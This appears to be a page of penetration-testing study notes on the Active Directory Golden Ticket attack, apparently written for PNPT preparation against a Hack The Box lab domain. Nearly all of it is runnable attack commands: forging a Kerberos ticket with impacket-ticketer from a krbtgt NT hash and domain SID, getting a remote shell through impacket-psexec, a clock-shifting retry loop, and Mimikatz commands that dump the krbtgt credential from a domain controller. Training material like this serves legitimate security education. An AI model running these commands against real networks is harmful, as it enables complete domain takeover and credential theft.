> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/post-domain-compromise/golden-ticket-attack.md).
# Golden Ticket Attack
## Overview
When we compromise the **krbtgt** account, we will own the domain and be able to grant tickets however we want to. This allows us complete access to every machine in the domain.
We can use[ Mimikatz](/active-directory/post-compromise-attacks/mimikatz.md) on the Domain Controller to pull this attack off
## Golden Ticket Attack via Ticketer
First get domain sid (inside of DC shell)
```
Get-ADDomain PNPT.local
```
`impacket-ticketer -nthash -domain-sid -domain `
```bash
impacket-ticketer -nthash '819af826bb148e603acb0f33d17632f8' -domain-sid S-1-5-21-3072663084-364016917-1341370565 -domain htb.local Administrator
```
```bash
export KRB5CCNAME=administrator.ccache
```
Add the domain, hostnames etc to /etc/hosts file
```bash
impacket-psexec htb.local/administrator@forest -k -no-pass
```
{% hint style="info" %}
You might have to change time for Kerberos to accept it
{% endhint %}
From nmap scan
sudo for i in $(seq 00 24); do sudo date -s $i:36:00; impacket-psexec htb.local/threebigguys@10.10.10.161 -k -no-pass; done
```bash
sudo date -s 21:36:00
```
[Resource](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a)
## Golden Ticket Attack via Mimikatz
#### In the Domain Controller shell
```powerquery
mimikatz.exe
privilege::debug
sekurlsa::lsa /inject /name:krbtgt
```